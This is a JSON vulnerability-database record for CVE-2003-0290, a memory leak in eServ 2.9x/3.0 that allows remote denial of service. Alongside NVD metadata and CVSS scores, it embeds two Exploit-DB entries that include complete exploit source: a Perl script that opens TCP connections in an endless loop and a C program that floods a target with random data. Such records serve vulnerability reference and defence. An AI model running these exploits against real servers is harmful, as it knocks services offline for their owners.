{"id": "CVE-2003-0290", "bulletinFamily": "NVD", "title": "CVE-2003-0290", "description": "Memory leak in eServ 2.9x allows remote attackers to cause a denial of service (memory exhaustion) via a large number of connections, whose memory is not freed when the connection is terminated.", "published": "2003-06-16T04:00:00", "modified": "2017-07-11T01:29:00", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0290", "reporter": "cve@mitre.org", "references": ["https://exchange.xforce.ibmcloud.com/vulnerabilities/11973", "http://marc.info/?l=bugtraq&m=105284630228137&w=2", "http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0064.html", "http://marc.info/?l=bugtraq&m=105284631428187&w=2", "http://www.securityfocus.com/bid/7552"], "cvelist": ["CVE-2003-0290"], "type": "cve", "lastseen": "2019-05-29T18:07:57", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "7bc5e889ab06ef4d90f4dde2773d7282"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "def0d7c799c11e5088ee63995417f9ea"}, {"key": "cpe23", "hash": "4f10262a6eb871f3911499ca2fe71683"}, {"key": "cvelist", "hash": "9237bc9881240e1b0d6ee0bccec17223"}, {"key": "cvss", "hash": "41b62a8aa1ee5c40897717cadc30784a"}, {"key": "cvss2", "hash": "85fc9715d07b57d9e72056856b007c7b"}, {"key": "cvss3", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cwe", "hash": "78a7a5cbaf09985c14389298e454e7db"}, {"key": "description", "hash": "b35fe5e325c17f94b0e57c231c95023a"}, {"key": "href", "hash": "c57bed2615fb5706646cb5d4b25acafa"}, {"key": "modified", "hash": "0570c0ae817ff4e1462c3ba2dbea4266"}, {"key": "published", "hash": "e1390d600ae611eb3f48ec13a998fe37"}, {"key": "references", "hash": "3454cc8844df82c07e4527f519f086bb"}, {"key": "reporter", "hash": "444c2b4dda4a55437faa8bef1a141e84"}, {"key": "title", "hash": "ddc016af03832adcbd977e201683d26f"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "6b8190f9cc43a7ce2f105dbfbc30f160fcc01a647908f8b24bb3e4b38c509d71", "viewCount": 0, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:22585", "EDB-ID:22586"]}, {"type": "osvdb", "idList": ["OSVDB:12080"]}], "modified": "2019-05-29T18:07:57"}, "score": {"value": 5.2, "vector": "NONE", "modified": "2019-05-29T18:07:57"}, "vulnersScore": 5.2}, "objectVersion": "1.3", "cpe": ["cpe:/a:etype:eserv:2.9x"], "affectedSoftware": [{"name": "etype eserv", "operator": "eq", "version": "2.9x"}], "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:a:etype:eserv:2.9x:*:*:*:*:*:*:*"], "cwe": ["NVD-CWE-Other"]}

{"exploitdb": [{"lastseen": "2016-02-02T19:04:57", "bulletinFamily": "exploit", "description": "EType EServ 2.98/2.99/3.0 Resource Exhaustion Denial Of Service Vulnerability (1). CVE-2003-0290. Dos exploit for windows platform", "modified": "2003-05-11T00:00:00", "published": "2003-05-11T00:00:00", "id": "EDB-ID:22585", "href": "https://www.exploit-db.com/exploits/22585/", "type": "exploitdb", "title": "EType EServ 2.98/2.99/3.0 Resource Exhaustion Denial of Service Vulnerability 1", "sourceData": "source: http://www.securityfocus.com/bid/7552/info\r\n\r\nA denial of service vulnerability has been reported for EServ. The vulnerability exists due to the way the server handles connections. Specifically, memory allocated for open connections are not properly freed when a connection no longer exists. This will result in a consumption of all available memory resources.\r\n\r\n**It has been reported that EServ version 3.0 previously thought to be invulnerable to this issue is affected by this vulnerability. This version was tested on Windows 2000.\r\n\r\nThis vulnerability affects EServ 2.92 to 3.0. \r\n\r\n#!/usr/bin/perl\r\n#LEGAL NOTICE: Don't test this on networks you don't administer,\r\n#and do not test this tool on networks you don't own without\r\n#permission of the network owner. You are responsible for all\r\n#damage due to your use of this tool.\r\nuse IO::Socket;\r\nprint \"$0: eServ Remote DoS Exploit\\r\\n\";\r\nprint \"By Matthew Murphy \\<mattmurphy\\@kc.rr.com\\>\\r\\n\\r\\n\";\r\nprint \"Server hostname\\: \";\r\n$host = trim(chomp($line = <STDIN>));\r\nprint \"Service port to probe\\: \";\r\n$port = trim(chomp($line = <STDIN>));\r\nprint \"\\r\\nBeginning probe -- stop with CTRL+C\\r\\n\";\r\nwhile (1) {\r\n $f = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"$host:$port\");\r\n undef $f;\r\n}\r\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/22585/"}, {"lastseen": "2016-02-02T19:05:05", "bulletinFamily": "exploit", "description": "EType EServ 2.98/2.99/3.0 Resource Exhaustion Denial Of Service Vulnerability (2). CVE-2003-0290. Dos exploit for windows platform", "modified": "2003-05-11T00:00:00", "published": "2003-05-11T00:00:00", "id": "EDB-ID:22586", "href": "https://www.exploit-db.com/exploits/22586/", "type": "exploitdb", "title": "EType EServ 2.98/2.99/3.0 Resource Exhaustion Denial of Service Vulnerability 2", "sourceData": "source: http://www.securityfocus.com/bid/7552/info\r\n \r\nA denial of service vulnerability has been reported for EServ. The vulnerability exists due to the way the server handles connections. Specifically, memory allocated for open connections are not properly freed when a connection no longer exists. This will result in a consumption of all available memory resources.\r\n \r\n**It has been reported that EServ version 3.0 previously thought to be invulnerable to this issue is affected by this vulnerability. This version was tested on Windows 2000.\r\n \r\nThis vulnerability affects EServ 2.92 to 3.0. \r\n\r\n/* m00-eServ-fun.c\r\n *\r\n * EServ/2.95-3.00 remote memory-leak exploit\r\n *\r\n * Result: exiting program and close all services\r\n * if you seen message: Broken pipe\r\n * then may going drink beer 8)\r\n *\r\n * Eserv 3.0 only web(80) services susceptible on this DoS\r\n *\r\n * rash / m00.void.ru\r\n */\r\n\r\n#include <stdio.h>\r\n#include <sys/types.h>\r\n#include <sys/socket.h>\r\n#include <netinet/in.h>\r\n\r\nint main(int argc, char *argv[])\r\n{ \r\n char buf[2000];\r\n int fd;\r\n struct sockaddr_in rsin;\r\n\r\n if (argc!=3) {\r\n printf(\"\\n usage: %s <ip> <port>\\n\\n\", argv[0]);\r\n exit(0); \r\n }\r\n \r\n rsin.sin_family = AF_INET;\r\n rsin.sin_port = htons(atoi(argv[2]));\r\n rsin.sin_addr.s_addr = inet_addr(argv[1]);\r\n \r\n for (fd=0;fd<2000;fd++)\r\n buf[fd]=(int *)((rand()*10));\r\n \r\n fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); \r\n if (connect(fd,(struct sockaddr *)&rsin,sizeof(struct sockaddr))) perror(\"[-] connect()\"),exit(0);\r\n printf(\"[+] connected..\\n\"); \r\n printf(\"[+] send data to host..\\n\"); \r\n \r\n while (1) {\r\n if ((send(fd, buf, 2000, 0))<0) \r\n break; \r\n } \r\n}\r\n\r\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/22586/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:07", "bulletinFamily": "software", "description": "# No description provided by the source\n\n## References:\nISS X-Force ID: 11973\n[CVE-2003-0290](https://vulners.com/cve/CVE-2003-0290)\nBugtraq ID: 7552\n", "modified": "2003-05-11T00:00:00", "published": "2003-05-11T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:12080", "id": "OSVDB:12080", "type": "osvdb", "title": "Etype Eserv Non Terminated Connection Saturation DoS", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}]}